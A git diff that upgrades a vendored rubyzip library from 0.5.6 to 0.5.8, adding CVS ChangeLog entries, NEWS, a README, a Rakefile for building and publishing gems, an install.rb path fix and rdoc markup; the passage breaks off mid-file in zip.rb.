+2005-02-16 19:01 thomas + + * NEWS, Rakefile, lib/zip/zip.rb: [no log message] + +2005-02-16 18:47 thomas + + * Rakefile, samples/example.rb, samples/example_filesystem.rb, + samples/gtkRubyzip.rb, samples/write_simple.rb, + samples/zipfind.rb, test/.cvsignore, test/gentestfiles.rb: + Improvements to Rakefile + +2005-02-15 23:35 thomas + + * NEWS, TODO: [no log message] + +2005-02-15 23:26 thomas + + * Rakefile, rubyzip.gemspec: Now uses Rake to build gem + +2005-02-15 22:52 thomas + + * Rakefile: [no log message] + +2005-02-15 22:39 thomas + + * lib/zip/zip.rb, test/.cvsignore, test/ziptest.rb, NEWS: Fixed + compatibility issue with ruby 1.8.2. Migrated test suite to + Test::Unit + +2005-02-15 22:10 thomas + + * NEWS, lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, + lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, + lib/zip/zipfilesystem.rb, lib/zip/ziprequire.rb, test/.cvsignore, + test/file1.txt, test/file1.txt.deflatedData, test/file2.txt, + test/gentestfiles.rb, test/ioextrastest.rb, + test/notzippedruby.rb, test/rubycode.zip, test/rubycode2.zip, + test/stdrubyexttest.rb, test/testDirectory.bin, + test/zipWithDirs.zip, test/zipfilesystemtest.rb, + test/ziprequiretest.rb, test/ziptest.rb, test/data/.cvsignore, + test/data/file1.txt, test/data/file1.txt.deflatedData, + test/data/file2.txt, test/data/notzippedruby.rb, + test/data/rubycode.zip, test/data/rubycode2.zip, + test/data/testDirectory.bin, test/data/zipWithDirs.zip: Changed + directory structure + +2005-02-13 22:44 thomas + + * Rakefile, TODO: [no log message] + +2005-02-13 22:38 thomas + + * rubyzip.gemspec: [no log message] + +2005-02-13 21:53 thomas + + * install.rb: Made install.rb independent of the current path + (fixes bug reported by Drew Robinson) + 2004-12-12 11:22 thomas - * NEWS, TODO, samples/write_simple.rb, zip/zip.rb: Fixed 'version - needed to extract'-field wrong in local headers + * NEWS, TODO, samples/write_simple.rb: Fixed 'version needed to + extract'-field wrong in local headers 2004-05-02 15:17 thomas @@ -9,68 +134,65 @@ 2004-04-02 07:25 thomas - * NEWS, zip/zip.rb: Fix for FreeBSD 4.9 + * NEWS: Fix for FreeBSD 4.9 -2004-03-28 15:23 thomas +2004-03-29 00:28 thomas - * zip/zip.rb: Use RUBY_VERSION not VERSION constant + * NEWS: [no log message] -2004-03-28 14:51 thomas +2004-03-28 17:59 thomas - * zip/zip.rb: Only use bugfixed Tempfile implementation if the ruby - version hasnt been fixed (contributed by Nobu Nakada) - -2004-03-28 14:46 thomas - - * zip/tempfile_bugfixed.rb: Compatibility with DelegateClass in - ruby version 1.8.1 and newer + * NEWS: [no log message] 2004-03-27 16:09 thomas - * test/stdrubyexttest.rb, zip/stdrubyext.rb: Patch for - stdrubyext.rb from Nobu Nakada + * test/stdrubyexttest.rb: Patch for stdrubyext.rb from Nobu Nakada 2004-03-27 15:30 thomas - * test/ioextrastest.rb, test/stdrubyexttest.rb, zip/ioextras.rb: - converted some files to unix line-endings + * test/: ioextrastest.rb, stdrubyexttest.rb: converted some files + to unix line-endings 2004-03-25 16:34 thomas - * NEWS, install.rb, zip/tempfile_bugfixed.rb, zip/zip.rb: - Significantly reduced memory footprint when modifying zip files + * NEWS, install.rb: Significantly reduced memory footprint when + modifying zip files 2004-03-16 18:20 thomas * install.rb, test/alltests.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/ziptest.rb, zip/ioextras.rb, - zip/zip.rb: IO utility classes moved to new file ioextras.rb. - Tests moved to new file ioextrastest.rb + test/stdrubyexttest.rb, test/ziptest.rb: IO utility classes moved + to new file ioextras.rb. Tests moved to new file ioextrastest.rb 2004-02-27 13:21 thomas - * NEWS, zip/zip.rb: Optimization to avoid decompression and - recompression + * NEWS: Optimization to avoid decompression and recompression + +2004-01-30 16:17 thomas + + * NEWS: [no log message] 2004-01-30 16:07 thomas - * README, test/zipfilesystemtest.rb, test/ziptest.rb, - zip/stdrubyext.rb, zip/zip.rb, zip/zipfilesystem.rb: Applied + * README, test/zipfilesystemtest.rb, test/ziptest.rb: Applied extra-field patch +2003-12-13 16:57 thomas + + * TODO: [no log message] + 2003-12-10 00:25 thomas * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano -2003-10-03 11:05 thomas - - * zip/: stdrubyext.rb, zip.rb: Thanks to Clifford Heath for - noticing that Time.to_binary_dos_date and time were reversed - 2003-08-23 09:42 thomas - * test/ziptest.rb, zip/zip.rb, NEWS: Fixed ZipFile.get_ouput_stream - bug - data was never written to zip + * test/ziptest.rb, NEWS: Fixed ZipFile.get_ouput_stream bug - data + was never written to zip + +2003-08-21 16:05 thomas + + * install.rb: [no log message] 2003-08-21 16:01 thomas @@ -86,10 +208,12 @@ zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, samples/example_filesystem.rb, samples/gtkRubyzip.rb, - samples/zipfind.rb, zip/stdrubyext.rb, zip/zip.rb, - zip/zipfilesystem.rb, zip/ziprequire.rb: Moved all production - source files to zip/ so they are in the same dir as when they are - installed + samples/zipfind.rb: Moved all production source files to zip/ so + they are in the same dir as when they are installed + +2003-08-21 15:31 thomas + + * NEWS, TODO, alltests.rb: [no log message] 2003-08-21 15:26 thomas @@ -108,6 +232,10 @@ * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if the zipfile doesn't exist already +2003-08-21 15:05 thomas + + * ziptest.rb: [no log message] + 2003-08-21 14:53 thomas * TODO, zipfilesystemtest.rb: Globbing test placeholder commented @@ -123,12 +251,28 @@ * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator and tests +2003-08-20 22:50 thomas + + * NEWS, TODO: [no log message] + +2003-08-20 22:45 thomas + + * zipfilesystemtest.rb: [no log message] + 2003-08-20 22:44 thomas * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of it +2003-08-20 22:25 thomas + + * README: [no log message] + +2003-08-20 18:08 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] + 2003-08-20 17:30 thomas * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to @@ -205,6 +349,10 @@ * simpledist.rb: Moved simpledist to a separate repository called 'misc' +2003-08-13 16:31 thomas + + * NEWS: [no log message] + 2003-08-13 16:29 thomas * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, @@ -274,6 +422,22 @@ * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix +2002-12-22 20:12 thomas + + * zip.rb: [no log message] + +2002-09-16 22:11 thomas + + * NEWS: [no log message] + +2002-09-15 17:16 thomas + + * samples/zipfind.rb: [no log message] + +2002-09-15 00:02 thomas + + * samples/zipfind.rb: [no log message] + 2002-09-14 22:59 thomas * samples/zipfind.rb: Added simple zipfind script @@ -296,11 +460,19 @@ * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test +2002-09-12 00:12 thomas + + * test/.cvsignore: [no log message] + 2002-09-12 00:10 thomas * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.delete/unlink +2002-09-11 22:22 thomas + + * alltests.rb: [no log message] + 2002-09-11 22:18 thomas * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed @@ -317,12 +489,20 @@ * NEWS: Updated NEWS file +2002-09-10 23:26 thomas + + * zip.rb: [no log message] + 2002-09-10 22:39 thomas * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. Fix bug: Deflater.read uses separate buffer from produceInput (feeding gets/readline etc) +2002-09-09 23:48 thomas + + * .cvsignore: [no log message] + 2002-09-09 22:55 uid26649 * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and @@ -334,6 +514,10 @@ AbstractInputStream and AbstractOutputStream now lie about being kind_of?(IO) +2002-09-08 16:38 thomas + + * zipfilesystemtest.rb: [no log message] + 2002-09-08 16:07 thomas * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved @@ -451,6 +635,10 @@ zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size +2002-07-26 16:41 thomas + + * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] + 2002-07-26 16:40 thomas * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries @@ -466,6 +654,18 @@ * test/zipWithDirs.zip: Added a zip file for testing with a directory structure +2002-07-22 21:40 thomas + + * TODO: [no log message] + +2002-07-22 17:49 thomas + + * TODO: [no log message] + +2002-07-21 18:20 thomas + + * NEWS: [no log message] + 2002-07-21 18:12 thomas * TODO: Updated TODO with a refactoring idea for FileArchive @@ -493,10 +693,22 @@ code for creating test files for FileArchive.add tests. Added fileutils.rb, which is borrowed from ruby 1.7.2 +2002-07-20 16:07 thomas + + * filearchive.rb, filearchivetest.rb: [no log message] + 2002-07-20 16:05 thomas * filearchivetest.rb: Added tests for String extensions +2002-07-20 02:20 thomas + + * alltests.rb, ziprequiretest.rb, ziptest.rb: [no log message] + +2002-07-20 00:42 thomas + + * install.rb: [no log message] + 2002-07-20 00:42 thomas * TODO: Updated TODO @@ -506,10 +718,43 @@ * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests run +2002-07-19 23:11 thomas + + * filearchive.rb, filearchivetest.rb: [no log message] + +2002-07-19 19:41 thomas + + * filearchivetest.rb: [no log message] + +2002-07-19 19:06 thomas + + * filearchive.rb, filearchivetest.rb: [no log message] + +2002-07-19 18:48 thomas + + * filearchive.rb, filearchivetest.rb, zip.rb: [no log message] + +2002-07-08 13:41 thomas + + * TODO: [no log message] + +2002-06-11 19:47 thomas + + * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: [no log + message] + 2002-05-25 00:41 thomas * simpledist.rb: Added hackish script for creating dist files +2002-04-30 21:22 thomas + + * TODO: [no log message] + +2002-04-30 21:16 thomas + + * filearchive.rb, filearchivetest.rb: [no log message] + 2002-04-30 20:40 thomas * filearchive.rb, filearchivetest.rb: Improved testing and wrote @@ -564,6 +809,10 @@ a 'glob pattern' given a list of files - Next step is to use this module in ZipFile +2002-04-01 22:55 thomas + + * NEWS: [no log message] + 2002-04-01 21:16 thomas * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a @@ -571,17 +820,33 @@ can load ruby modules from a zip file. Needs unit tests and polish. +2002-03-31 01:13 thomas + + * README: [no log message] + +2002-03-30 16:14 thomas + + * TODO: [no log message] + 2002-03-30 01:52 thomas * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all modifiers) to zip.rb. Made README 'RDoc compliant' +2002-03-29 23:29 thomas + + * TODO: [no log message] + 2002-03-29 23:26 thomas * example.rb, samples/.cvsignore, samples/example.rb, samples/gtkRubyzip.rb: Moved example.rb to samples/. Added another sample gtkRubyzip.rb +2002-03-29 20:12 thomas + + * NEWS, TODO: [no log message] + 2002-03-29 20:06 thomas * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, @@ -591,6 +856,10 @@ manually created test data files into it. Changed ziptest.rb so it runs in test/ directory +2002-03-29 19:43 thomas + + * TODO: [no log message] + 2002-03-29 18:15 thomas * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip @@ -601,6 +870,22 @@ * zip.rb: Performance optimization: Only write new ZipFile, if it has been changed. The test suite runs in half the time now. +2002-03-28 22:12 thomas + + * TODO: [no log message] + +2002-03-23 17:31 thomas + + * TODO: [no log message] + +2002-03-22 22:47 thomas + + * NEWS: [no log message] + +2002-03-22 22:25 thomas + + * NEWS, TODO: [no log message] + 2002-03-22 22:18 thomas * ziptest.rb: Found the tests that didn't use blocks to make sure @@ -627,10 +912,22 @@ the remainder of the line including the pipe character and the following zip -z 4 entry.zip command +2002-03-21 22:18 thomas + + * NEWS: [no log message] + 2002-03-21 22:12 thomas * NEWS, README, TODO, install.rb: Added install.rb +2002-03-21 21:45 thomas + + * ziptest.rb: [no log message] + +2002-03-21 20:54 thomas + + * NEWS, TODO: [no log message] + 2002-03-21 20:34 thomas * .cvsignore, TODO, zip.rb, ziptest.rb: Added @@ -641,6 +938,10 @@ * zip.rb, ziptest.rb: Extraction of directory entries is now supported +2002-03-20 21:59 thomas + + * NEWS: [no log message] + 2002-03-20 21:24 thomas * COPYING, README, README.txt: Removed COPYING, renamed README.txt @@ -651,6 +952,10 @@ * example.rb: Fixed example.rb added example that shows zip file manipulation with Zip::ZipFile +2002-03-20 21:00 thomas + + * .cvsignore: [no log message] + 2002-03-20 20:56 thomas * TODO, zip.rb, ziptest.rb: Directories can now be added (not @@ -669,6 +974,10 @@ * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError instead of RuntimeError. ZipError now has several subclasses. +2002-03-19 22:26 thomas + + * TODO: [no log message] + 2002-03-19 22:19 thomas * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block @@ -683,11 +992,19 @@ * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing entry +2002-03-19 20:42 thomas + + * TODO: [no log message] + 2002-03-19 20:40 thomas * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with block +2002-03-18 21:06 thomas + + * TODO: [no log message] + 2002-03-18 21:05 thomas * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. @@ -704,6 +1021,10 @@ * zip.rb: Removed method that was never called +2002-03-17 22:33 thomas + + * TODO: [no log message] + 2002-03-17 22:25 thomas * ziptest.rb: Run tests with =true as default @@ -713,25 +1034,69 @@ * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without warnings +2002-03-17 21:10 thomas + + * .cvsignore: [no log message] + 2002-03-17 21:04 thomas * zip.rb, ziptest.rb: Down to one failing test +2002-03-17 20:36 thomas + + * zip.rb, ziptest.rb: [no log message] + +2002-03-17 17:22 thomas + + * TODO, zip.rb, ziptest.rb: [no log message] + 2002-02-25 19:42 thomas * TODO: Added more todos +2002-02-23 15:51 thomas + + * zip.rb: [no log message] + +2002-02-23 15:30 thomas + + * zip.rb, ziptest.rb: [no log message] + +2002-02-23 14:16 thomas + + * zip.rb, ziptest.rb: [no log message] + +2002-02-03 18:47 thomas + + * ziptest.rb: [no log message] + +2002-02-02 15:58 thomas + + * example.rb, zip.rb, ziptest.rb: [no log message] + +2002-02-02 00:16 thomas + + * .cvsignore: [no log message] + 2002-02-02 00:14 thomas * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to BasicZipFile +2002-02-02 00:09 thomas + + * TODO: [no log message] + 2002-02-02 00:01 thomas * ziptest.rb: More test cases - all of them failing, so now there are 18 failing test cases. Three more test cases to implement, then it is time for the production code +2002-02-01 21:49 thomas + + * ziptest.rb: [no log message] + 2002-02-01 21:34 thomas * ziptest.rb: Also run SimpleZipFile tests for ZipFile. @@ -742,6 +1107,14 @@ The new ZipFile will have many more methods that are useful for managing archives. +2002-01-29 20:30 thomas + + * TODO: [no log message] + +2002-01-26 00:18 thomas + + * NEWS: [no log message] + 2002-01-26 00:14 thomas * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You @@ -753,20 +1126,44 @@ * ziptest.rb: Fixed test that failed on windows because of CRLF line ending +2002-01-25 23:58 thomas + + * ziptest.rb: [no log message] + 2002-01-25 23:29 thomas * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty deflated entry in zip file +2002-01-25 23:01 thomas + + * .cvsignore: [no log message] + +2002-01-25 22:56 thomas + + * ziptest.rb: [no log message] + 2002-01-25 22:51 thomas * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now fully functional in the form of ZipOutputStream. +2002-01-25 21:12 thomas + + * zip.rb, ziptest.rb: [no log message] + +2002-01-25 20:37 thomas + + * zip.rb, ziptest.rb: [no log message] + 2002-01-20 16:00 thomas * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. +2002-01-20 00:39 thomas + + * .cvsignore: [no log message] + 2002-01-20 00:23 thomas * .cvsignore: Added .cvsignore file @@ -797,6 +1194,10 @@ * README.txt: License now same as rubys, not just GPL +2002-01-06 00:19 thomas + + * README.txt: [no log message] + 2002-01-05 23:09 thomas * NEWS, README.txt: Updated NEWS file @@ -818,6 +1219,18 @@ * zip.rb: Changed references to Inflate to Zlib::inflate for compatibility with ruby-zlib-0.5 +2002-01-05 19:28 thomas + + * README.txt, zip.rb, ziptest.rb: [no log message] + +2002-01-05 01:52 thomas + + * example.rb, NEWS: [no log message] + +2002-01-05 01:37 thomas + + * COPYING, README.txt: [no log message] + 2002-01-05 01:31 thomas * ziptest.rb: Fixed problem with test file creation diff --git a/vendor/rubyzip-0.5.6/NEWS b/vendor/rubyzip-0.5.8/NEWS old mode 100755 new mode 100644 similarity index 80% rename from vendor/rubyzip-0.5.6/NEWS rename to vendor/rubyzip-0.5.8/NEWS index d05d6561..37911fdb --- a/vendor/rubyzip-0.5.6/NEWS +++ b/vendor/rubyzip-0.5.8/NEWS @@ -1,32 +1,43 @@ -= Version 0.5.6 = += Version 0.5.8 + +Fixed install script. + += Version 0.5.7 + +install.rb no longer assumes it is being run from the toplevel source +dir. Directory structure changed to reflect common ruby library +project structure. Migrated from RubyUnit to Test::Unit format. Now +uses Rake to build source packages and gems and run unit tests. + += Version 0.5.6 Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of Errno::EINVAL for some invalid seeks. Fixed 'version needed to extract'-field incorrect in local headers. -= Version 0.5.5 = += Version 0.5.5 Fix for a problem with writing zip files that concerns only ruby 1.8.1. -= Version 0.5.4 = += Version 0.5.4 Significantly reduced memory footprint when modifying zip files. -= Version 0.5.3 = += Version 0.5.3 Added optimization to avoid decompressing and recompressing individual entries when modifying a zip archive. -= Version 0.5.2 = += Version 0.5.2 Fixed ZipFile corruption bug in ZipFile class. Added basic unix extra-field support. -= Version 0.5.1 = += Version 0.5.1 Fixed ZipFile.get_output_stream bug. -= Version 0.5.0 = += Version 0.5.0 List of changes: * Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility @@ -42,7 +53,7 @@ Bug fixes: * AbstractInputStream.each_line with non-default separator -= Version 0.5.0a = += Version 0.5.0a Source reorganized. Added ziprequire, which can be used to load ruby modules from a zip file, in a fashion similar to jar files in @@ -55,15 +66,15 @@ Bug fixes: * Fixed read() using separate buffer, causing mix of gets/readline/read to cause problems. -= Version 0.4.2 = += Version 0.4.2 Performance optimizations. Test suite runs in half the time. -= Version 0.4.1 = += Version 0.4.1 Windows compatibility fixes. -= Version 0.4.0 = += Version 0.4.0 Zip::ZipFile is now mutable and provides a more convenient way of modifying zip archives than Zip::ZipOutputStream. Operations for @@ -75,18 +86,18 @@ Runs without warnings with -w switch. Install script install.rb added. -= Version 0.3.1 = += Version 0.3.1 Rudimentary support for writing zip archives. -= Version 0.2.2 = += Version 0.2.2 Fixed and extended unit test suite. Updated to work with ruby/zlib 0.5. It doesn't work with earlier versions of ruby/zlib. -= Version 0.2.0 = += Version 0.2.0 Class ZipFile added. Where ZipInputStream is used to read the individual entries in a zip file, ZipFile reads the central directory @@ -94,6 +105,6 @@ in the zip archive, so you can get to any entry in the zip archive without having to skipping through all the preceeding entries. -= Version 0.1.0 = += Version 0.1.0 First working version of ZipInputStream. diff --git a/vendor/rubyzip-0.5.8/README b/vendor/rubyzip-0.5.8/README new file mode 100644 index 00000000..6ed15a92 --- /dev/null +++ b/vendor/rubyzip-0.5.8/README @@ -0,0 +1,70 @@ += rubyzip + +rubyzip is a ruby library for reading and writing zip files. + += Install + +If you have rubygems you can install rubyzip directly from the gem +repository + + gem install rubyzip + +Otherwise obtain the source (see below) and run + + ruby install.rb + +To run the unit tests you need to have test::unit installed + + rake test + + += Documentation + +There is more than one way to access or create a zip archive with +rubyzip. The basic API is modeled after the classes in +java.util.zip from the Java SDK. This means there are classes such +as Zip::ZipInputStream, Zip::ZipOutputStream and +Zip::ZipFile. Zip::ZipInputStream provides a basic interface for +iterating through the entries in a zip archive and reading from the +entries in the same way as from a regular File or IO +object. ZipOutputStream is the corresponding basic output +facility. Zip::ZipFile provides a mean for accessing the archives +central directory and provides means for accessing any entry without +having to iterate through the archive. Unlike Java's +java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means +it can be used to change zip files as well. + +Another way to access a zip archive with rubyzip is to use rubyzip's +Zip::ZipFileSystem API. Using this API files can be read from and +written to the archive in much the same manner as ruby's builtin +classes allows files to be read from and written to the file system. + +rubyzip also features the +zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which +allows ruby to load ruby modules from zip archives. + +For details about the specific behaviour of classes and methods refer +to the test suite. Finally you can generate the rdoc documentation or +visit http://rubyzip.sourceforge.net. + += License + +rubyzip is distributed under the same license as ruby. See +http://www.ruby-lang.org/en/LICENSE.txt + + += Website and Project Home + +http://rubyzip.sourceforge.net + +http://sourceforge.net/projects/rubyzip + +== Download (tarballs and gems) + +http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377 + += Authors + +Thomas Sondergaard (thomas at sondergaard.cc) + +extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) diff --git a/vendor/rubyzip-0.5.8/Rakefile b/vendor/rubyzip-0.5.8/Rakefile new file mode 100644 index 00000000..03b65c2d --- /dev/null +++ b/vendor/rubyzip-0.5.8/Rakefile @@ -0,0 +1,110 @@ +# Rakefile for RubyGems -*- ruby -*- + +require 'rubygems' +require 'rake/clean' +require 'rake/testtask' +require 'rake/packagetask' +require 'rake/gempackagetask' +require 'rake/rdoctask' +require 'rake/contrib/sshpublisher' +require 'net/ftp' + +PKG_NAME = 'rubyzip' +PKG_VERSION = File.read('lib/zip/zip.rb').match(/\s+VERSION\s*=\s*'(.*)'/)[1] + +PKG_FILES = FileList.new + +PKG_FILES.add %w{ README NEWS TODO ChangeLog install.rb Rakefile } +PKG_FILES.add %w{ samples/*.rb } +PKG_FILES.add %w{ test/*.rb } +PKG_FILES.add %w{ test/data/* } +PKG_FILES.exclude "test/data/generated" +PKG_FILES.add %w{ lib/**/*.rb } + +def clobberFromCvsIgnore(path) + CLOBBER.add File.readlines(path+'/.cvsignore').map { + |f| File.join(path, f.chomp) + } +end + +clobberFromCvsIgnore '.' +clobberFromCvsIgnore 'samples' +clobberFromCvsIgnore 'test' +clobberFromCvsIgnore 'test/data' + +task :default => [:test] + +desc "Run unit tests" +task :test do + ruby %{-C test alltests.rb} +end + +# Shortcuts for test targets +task :ut => [:test] + +spec = Gem::Specification.new do |s| + s.name = PKG_NAME + s.version = PKG_VERSION + s.author = "Thomas Sondergaard" + s.email = "thomas(at)sondergaard.cc" + s.homepage = "http://rubyzip.sourceforge.net/" + s.platform = Gem::Platform::RUBY + s.summary = "rubyzip is a ruby module for reading and writing zip files" + s.files = PKG_FILES.to_a #Dir.glob("{samples,lib,test,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc") || item =~ /~$/ } + s.require_path = 'lib' + s.autorequire = 'zip/zip' +end + +Rake::GemPackageTask.new(spec) do |pkg| + pkg.need_zip = true + pkg.need_tar = true +end + +Rake::RDocTask.new do |rd| + rd.main = "README" + rd.rdoc_files.add %W{ lib/zip/*.rb README NEWS TODO ChangeLog } + rd.options << "--title 'rubyzip documentation' --webcvs http://cvs.sourceforge.net/viewcvs.py/rubyzip/rubyzip/" +# rd.options << "--all" +end + +desc "Publish documentation" +task :pdoc => [:rdoc] do + Rake::SshFreshDirPublisher. + new("thomas@rubyzip.sourceforge.net", "rubyzip/htdocs", "html").upload +end + +desc "Publish package" +task :ppackage => [:package] do + Net::FTP.open("upload.sourceforge.net", + "ftp", + ENV['USER']+"@"+ENV['HOSTNAME']) { + |ftpclient| + ftpclient.chdir "incoming" + Dir['pkg/*.{tgz,zip,gem}'].each { + |e| + ftpclient.putbinaryfile(e, File.basename(e)) + } + } +end + +desc "Generate the ChangeLog file" +task :ChangeLog do + puts "Updating ChangeLog" + system %{cvs2cl} +end + +desc "Make a release" +task :release => [:tag_release, :pdoc, :ppackage] do +end + +desc "Make a release tag" +task :tag_release do + tag = "release-#{PKG_VERSION.gsub('.','-')}" + + puts "Checking for tag '#{tag}'" + if (Regexp.new("^\\s+#{tag}") =~ `cvs log README`) + abort "Tag '#{tag}' already exists" + end + puts "Tagging module with '#{tag}'" + system("cvs tag #{tag}") +end diff --git a/vendor/rubyzip-0.5.6/TODO b/vendor/rubyzip-0.5.8/TODO old mode 100755 new mode 100644 similarity index 75% rename from vendor/rubyzip-0.5.6/TODO rename to vendor/rubyzip-0.5.8/TODO index 05746880..457298c6 --- a/vendor/rubyzip-0.5.6/TODO +++ b/vendor/rubyzip-0.5.8/TODO @@ -1,10 +1,9 @@ -* Fix problem with mixing AbstractInputStream::gets and AbstractInputStream::red + +* Fix problem with mixing AbstractInputStream::gets and AbstractInputStream::read * Implement ZipFsDir.glob * ZipFile.checkIntegrity method * non-MSDOS permission attributes ** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" * Packager version, required unpacker version in zip headers ** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* implement small gui app on top, to exercise library and to discover -what features should be added to rubyzip next. * implement storing attributes and ownership information diff --git a/vendor/rubyzip-0.5.6/install.rb b/vendor/rubyzip-0.5.8/install.rb old mode 100755 new mode 100644 similarity index 73% rename from vendor/rubyzip-0.5.6/install.rb rename to vendor/rubyzip-0.5.8/install.rb index d806acb0..405e2b0b --- a/vendor/rubyzip-0.5.6/install.rb +++ b/vendor/rubyzip-0.5.8/install.rb @@ -12,10 +12,11 @@ files = %w{ stdrubyext.rb ioextras.rb zip.rb zipfilesystem.rb ziprequire.rb temp INSTALL_DIR = File.join(CONFIG["sitelibdir"], "zip") File.makedirs(INSTALL_DIR) -Dir.chdir "zip" + +SOURCE_DIR = File.join(File.dirname($0), "lib/zip") + files.each { |filename| installPath = File.join(INSTALL_DIR, filename) - File::install(filename, installPath, 0644, true) + File::install(File.join(SOURCE_DIR, filename), installPath, 0644, true) } -Dir.chdir ".." diff --git a/vendor/rubyzip-0.5.6/zip/ioextras.rb b/vendor/rubyzip-0.5.8/lib/zip/ioextras.rb old mode 100755 new mode 100644 similarity index 93% rename from vendor/rubyzip-0.5.6/zip/ioextras.rb rename to vendor/rubyzip-0.5.8/lib/zip/ioextras.rb index 85785d6e..7129e933 --- a/vendor/rubyzip-0.5.6/zip/ioextras.rb +++ b/vendor/rubyzip-0.5.8/lib/zip/ioextras.rb @@ -1,4 +1,6 @@ -module IOExtras +module IOExtras #:nodoc: + + # Implements kind_of? in order to pretend to be an IO object module FakeIO def kind_of?(object) object == IO || super @@ -66,7 +68,8 @@ module IOExtras end - #relies on << + # Implements many of the output convenience methods of IO. + # relies on << module AbstractOutputStream include FakeIO diff --git a/vendor/rubyzip-0.5.6/zip/stdrubyext.rb b/vendor/rubyzip-0.5.8/lib/zip/stdrubyext.rb old mode 100755 new mode 100644 similarity index 94% rename from vendor/rubyzip-0.5.6/zip/stdrubyext.rb rename to vendor/rubyzip-0.5.8/lib/zip/stdrubyext.rb index c3fc2acc..833365db --- a/vendor/rubyzip-0.5.6/zip/stdrubyext.rb +++ b/vendor/rubyzip-0.5.8/lib/zip/stdrubyext.rb @@ -16,7 +16,7 @@ module Enumerable #:nodoc:all end unless Object.method_defined?(:object_id) - class Object + class Object #:nodoc:all # Using object_id which is the new thing, so we need # to make that work in versions prior to 1.8.0 alias object_id id @@ -24,7 +24,7 @@ unless Object.method_defined?(:object_id) end unless File.respond_to?(:read) - class File + class File # :nodoc:all # singleton method read does not exist in 1.6.x def self.read(fileName) open(fileName) { |f| f.read } @@ -32,7 +32,7 @@ unless File.respond_to?(:read) end end -class String +class String #:nodoc:all def starts_with(aString) rindex(aString, 0) == 0 end @@ -50,7 +50,7 @@ class String end end -class Time +class Time #:nodoc:all #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H: # @@ -95,7 +95,7 @@ class Time end end -class Module +class Module #:nodoc:all def forward_message(forwarder, *messagesToForward) methodDefs = messagesToForward.map { |msg| diff --git a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb b/vendor/rubyzip-0.5.8/lib/zip/tempfile_bugfixed.rb old mode 100755 new mode 100644 similarity index 97% rename from vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb rename to vendor/rubyzip-0.5.8/lib/zip/tempfile_bugfixed.rb index ae82508f..6cf8e0af --- a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb +++ b/vendor/rubyzip-0.5.8/lib/zip/tempfile_bugfixed.rb @@ -1,13 +1,13 @@ # # tempfile - manipulates temporary files # -# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $ +# $Id: tempfile_bugfixed.rb,v 1.2 2005/02/19 20:30:33 thomas Exp $ # require 'delegate' require 'tmpdir' -module BugFix +module BugFix #:nodoc:all # A class for managing temporary files. This library is written to be # thread safe. diff --git a/vendor/rubyzip-0.5.6/zip/zip.rb b/vendor/rubyzip-0.5.8/lib/zip/zip.rb old mode 100755 new mode 100644 similarity index 81% rename from vendor/rubyzip-0.5.6/zip/zip.rb rename to vendor/rubyzip-0.5.8/lib/zip/zip.rb index 2ad17658..57c0b4fa --- a/vendor/rubyzip-0.5.6/zip/zip.rb +++ b/vendor/rubyzip-0.5.8/lib/zip/zip.rb @@ -11,7 +11,7 @@ if Tempfile.superclass == SimpleDelegator Tempfile = BugFix::Tempfile end -module Zlib +module Zlib #:nodoc:all if ! const_defined? :MAX_WBITS MAX_WBITS = Zlib::Deflate.MAX_WBITS end @@ -19,6 +19,8 @@ end module Zip + VERSION = '0.5.8' + RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i # Ruby 